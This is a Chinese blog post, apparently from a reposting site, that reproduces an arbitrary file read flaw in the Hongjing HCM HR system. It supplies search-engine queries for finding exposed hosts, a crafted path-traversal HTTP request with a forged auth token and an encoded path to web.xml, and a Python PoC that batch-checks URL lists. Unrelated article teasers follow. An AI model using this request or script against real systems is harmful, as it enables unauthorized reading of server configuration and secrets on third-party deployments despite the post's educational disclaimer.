【漏洞復現】宏景HCM人力資源信息管理系統——任意文件讀取漏洞

聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。

文章目錄

  • 漏洞描述
  • 漏洞復現
  • 測試工具


漏洞描述

宏景HCM人力資源信息管理系統是一款全面覆蓋人力資源管理各模塊的軟件,其openFile接口存在任意文件讀取漏洞,未授權攻擊者可以利用其讀取網站配置文件等敏感信息。

漏洞復現

1)資產測繪,信息收集
fofa:app="HJSOFT-HCM"
hunter:app.name="宏景 HCM"
在這里插入圖片描述
天道酬勤!!
在這里插入圖片描述

2)構造數據包

POST /templates/attestation/../../general/muster/hmuster/openFile.jsp HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
x-auth-token: d9eaeacd5de1008fd43f737c853dcbcb
Content-Type: application/x-www-form-urlencoded
Content-Length: 68filename=8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP

代碼解釋
filename這部分需要加密轉換,工具:https://github.com/vaycore/HrmsTool
執行命令:java -jar HrmsTool.jar -e ../webapps/hrms/WEB-INF/web.xml

編碼前:../webapps/hrms/WEB-INF/web.xml
編碼后:8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP

3)神器Yakit發包
在這里插入圖片描述

測試工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-import requests  # 導入requests庫,用于發送HTTP請求
import argparse  # 導入argparse庫,用于解析命令行參數
from requests.exceptions import RequestException  # 導入RequestException,用于處理請求異常
from urllib3.exceptions import InsecureRequestWarning  # 導入InsecureRequestWarning,用于禁用不安全請求警告# 打印顏色定義
RED = '\033[91m'  # 紅色
RESET = '\033[0m'  # 重置顏色# 禁用不安全請求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)def check_vulnerability(url):try:# 構建攻擊URL,嘗試利用路徑遍歷漏洞attack_url = url.rstrip('/') + "/templates/attestation/%2e%2e/%2e%2e/general/muster/hmuster/openFile.jsp"headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',  # 設置User-Agent'x-auth-token': 'd9eaeacd5de1008fd43f737c853dcbcb',  # 設置偽造的x-auth-token'Content-Type': 'application/x-www-form-urlencoded',  # 設置請求內容類型}# 準備POST請求的數據data = {'filename': '8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP'  # 嘗試讀取的文件名}# 向服務器發送POST請求response = requests.post(attack_url, headers=headers, data=data, verify=False, timeout=10)  # 不驗證SSL證書,設置超時時間# 檢查響應狀態碼和響應體中的關鍵字if response.status_code == 200 and 'web-app' in response.text:  # 如果狀態碼為200并且響應體中包含'web-app'print(f"{RED}URL [{url}] 宏景HCM openFile任意文件讀取漏洞。{RESET}")  # 打印漏洞信息else:print(f"URL [{url}] 未發現漏洞。")  # 打印未發現漏洞信息except RequestException as e:print(f"URL [{url}] 請求失敗: {e}")  # 打印請求失敗信息def main():parser = argparse.ArgumentParser(description='檢查目標URL是否存在宏景HCM openFile任意文件讀取漏洞。')  # 解析命令行參數parser.add_argument('-u', '--url', help='指定目標URL')  # 添加URL參數parser.add_argument('-f', '--file', help='指定包含多個目標URL的文本文件')  # 添加文件參數args = parser.parse_args()  # 解析命令行參數if args.url:  # 如果指定了URL# 如果URL未以http://或https://開頭,則添加http://args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.urlcheck_vulnerability(args.url)  # 檢查指定URL的漏洞elif args.file:  # 如果指定了文件with open(args.file, 'r') as file:  # 打開文件urls = file.read().splitlines()  # 讀取文件中的URL列表for url in urls:url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url  # 確保URL以http://或https://開頭check_vulnerability(url)  # 檢查每個URL的漏洞if __name__ == '__main__':main()  # 程序入口

運行截圖

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/37391.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/37391.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/37391.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

docker pull 鏡像的時候遇到Pulling fs layer問題

最近遇到一個很奇怪的問題,docker pull 鏡像的時候,總是出現Pulling fs layer問題,導致鏡像拉取不成功,以前是安裝好docker,正常拉取鏡像都是沒什么問題的,在這里記錄一下這個問題的解決方法,當然,可能并不通用。 1、進入阿里云容器服務 地址:https://cr.console.aliy…

Spring Boot中的熱部署配置

Spring Boot中的熱部署配置 大家好,我是免費搭建查券返利機器人省錢賺傭金就用微賺淘客系統3.0的小編,也是冬天不穿秋褲,天冷也要風度的程序猿!今天我們將探討如何在Spring Boot項目中實現熱部署配置,提升開發效率和項…

C++實現Qt的信號+槽功能

在 Visual Studio (VS) 上使用 C 實現類似 Qt 的信號和槽機制是完全可能的,但 Qt 的信號和槽系統是基于其特定的元對象系統(Meta-Object System, MOC)的,這需要一些特定的預處理器和代碼生成步驟。 如果你不想使用 Qt,…

vue路由傳參和react 路由傳參

路由跳轉的方式 1、聲明式導航 <router-link to"導航的地址"> 2、編程式導航 編程式導航有三種方法來進行導航 router.push router.replace router.go params傳參和query傳參 1、 params 傳參(不在URL中顯示參數) 在父路由跳轉到子路由時&#xff0c;也可…

【Django】網上蛋糕項目商城-熱銷和新品

概念 本文將完成實現項目的熱銷和新品兩個分類的商品列表進行分頁展示。 熱銷和新品功能實現步驟 在head.html頭部頁面中點擊這兩個超鏈接向服務器發送請求。 在urls.py文件中定義該請求地址 path(goodsrecommend_list/,views.goodsrecommend_list) 在views.py文件中定義g…

JDBC中的批處理是什么?如何使用?

JDBC中的批處理是指將多個關聯的SQL語句組合成一個批處理&#xff0c;并將它們作為一個調用提交給數據庫。這種方法可以減少通信的資源消耗&#xff0c;從而提高性能。以下是關于JDBC批處理的具體使用和步驟&#xff1a; 1. JDBC批處理的基本概念 批處理定義&#xff1a;將多…

英飛凌TC3xx之一起認識GTM(十五)GTM常見配置問題總結

英飛凌TC3xx之一起認識GTM(十五)GTM常見配置問題總結 1 關于TGC/AGC的配置注意事項2 關于HOST_TRIG的使用3 關于SOMC模式中MCS與ARU的合并使用配置4 深入理解SOMP模式中RST_CCU0的配置5 關于CCUx中斷的使用6 TIM如何捕獲ATOM的輸出7 總結前面幾篇關鍵文章信息鏈接匯總如下: …

AV Foundation學習筆記二 - 播放器

ASSets AVFoundation框架的最核心的類是AVAsset&#xff0c;該類是整個AVFoundation框架設計的中心。AVAsset是一個抽象的&#xff08;意味著你不能調用AVAsset的alloc或者new方法來創建一個AVAsset實例對象&#xff0c;而是通過該類的靜態方法來創建實例對象&#xff09;、不…

DevOps CMDB平臺整合Jira工單

背景 在DevOps CMDB平臺建設的過程中&#xff0c;我們可以很容易的將業務應用所涉及的云資源&#xff08;WAF、K8S、虛擬機等&#xff09;、CICD工具鏈&#xff08;Jenkins、ArgoCD&#xff09;、監控、日志等一次性的維護到CMDB平臺&#xff0c;但隨著時間的推移&#xff0c;…

Stirling PDF 部署 - 強大的PDF Web在線編輯工具箱

簡介 這是一個強大的、可本地托管的、基于 Web 的 PDF 操作工具&#xff0c;可使用 Docker部署。它使您能夠對 PDF 文件執行各種操作&#xff0c;包括拆分、合并、轉換、重組、添加圖像、旋轉、壓縮等。這個本地托管的 Web 應用程序已經發展到包含一套全面的功能&#xff0c;可…

PHP爬蟲類的并發與多線程處理技巧

PHP爬蟲類的并發與多線程處理技巧 引言&#xff1a; 隨著互聯網的快速發展&#xff0c;大量的數據信息存儲在各種網站上&#xff0c;獲取這些數據已經成為很多業務場景下的需求。而爬蟲作為一種自動化獲取網絡信息的工具&#xff0c;被廣泛應用于數據采集、搜索引擎、輿情分析…

關于組織赴俄羅斯(莫斯科)第 28 屆國際汽車零部件、汽車維修設備和商品展覽會商務考察的通知

關于組織赴俄羅斯&#xff08;莫斯科&#xff09; 第 28 屆國際汽車零部件、汽車維修設備和商品展覽會商務考察的通知 展會名稱&#xff1a;俄羅斯&#xff08;莫斯科&#xff09;第 28 屆國際汽車零部件、汽車零部件、汽車維修設備和商品展覽會 時間&#xff1a;2024 年 8 月…

Python | Leetcode Python題解之第204題計數質數

題目&#xff1a; 題解&#xff1a; MX5000000 is_prime [1] * MX is_prime[0]is_prime[1]0 for i in range(2, MX):if is_prime[i]:for j in range(i * i, MX, i):#循環每次增加iis_prime[j] 0 class Solution:def countPrimes(self, n: int) -> int:return sum(is_prim…

【MongoDB】分布式數據庫入門級學習

SueWakeup 個人主頁&#xff1a;SueWakeup 系列專欄&#xff1a;為祖國的科技進步添磚Java 個性簽名&#xff1a;保留赤子之心也許是種幸運吧 本文封面由 凱楠&#x1f4f8;友情提供 凱楠&#x1f4f8; - 不夜長安 目錄 MongoDB 相關 數據庫排行榜單 MongoDB 中文官網 菜鳥…

如何把mkv轉成mp4?介紹一下將mkv轉成MP4的幾種方法

如何把mkv轉成mp4&#xff1f;如果你有一個MKV格式的視頻文件&#xff0c;但是需要將其轉換為MP4格式以便更廣泛地在各種設備和平臺上播放和共享&#xff0c;你可以通過進行簡單的文件格式轉換來實現。轉換MKV到MP4格式可以提供更好的兼容性&#xff0c;并確保你的視頻文件能夠…

在預訓練語言模型主流架構

文章目錄 編碼器-解碼器架構因果解碼器架構前綴解碼器架構在預訓練語言模型時代,自然語言處理領域廣泛采用了預訓練 + 微調的范式,并誕生了以 BERT 為代表的編碼器(Encoder-only)架構、以 GPT 為代表的解碼器(Decoder-only)架構和以 T5 為代表的編碼器-解碼器(Encoder-d…

華為OD機試C卷(100分)-執行任務賺積分(c語言)

題目描述 現有N個任務需要處理&#xff0c;同一時間只能處理一個任務&#xff0c;處理每個任務所需要的時間固定為1。 每個任務都有最晚處理時間限制和積分值&#xff0c;在最晚處理時間點之前處理完成任務才可獲得對應的積分獎勵。 可用于處理任務的時間有限&#xff0c;請問…

AI學習指南機器學習篇-隨機森林超參數選擇與調優

AI學習指南機器學習篇-隨機森林超參數選擇與調優 隨機森林是一種強大的機器學習算法&#xff0c;它能夠處理復雜的數據集&#xff0c;并且對于大部分實際問題都表現出色。然而&#xff0c;要充分發揮隨機森林的性能&#xff0c;需要對其超參數進行合理選擇和調優。本文將介紹隨…

React:tabs或標簽頁自定義右擊菜單內容,支持內嵌iframe關閉菜單方案

React&#xff1a;tabs或標簽頁自定義右擊菜單內容&#xff0c;支持內嵌iframe關閉菜單方案 不管是react、vue還是原生js&#xff0c;原理是一樣的。 注意如果內嵌iframe情況下&#xff0c;iframe無法使用事件監聽&#xff0c;但是可以使用iframe的任何點擊行為都會往父級wind…

入門Java爬蟲:認識其基本概念和應用方法

Java爬蟲初探&#xff1a;了解它的基本概念與用途&#xff0c;需要具體代碼示例 隨著互聯網的快速發展&#xff0c;獲取并處理大量的數據成為企業和個人不可或缺的一項任務。而爬蟲&#xff08;Web Scraping&#xff09;作為一種自動化的數據獲取方法&#xff0c;不僅能夠快速…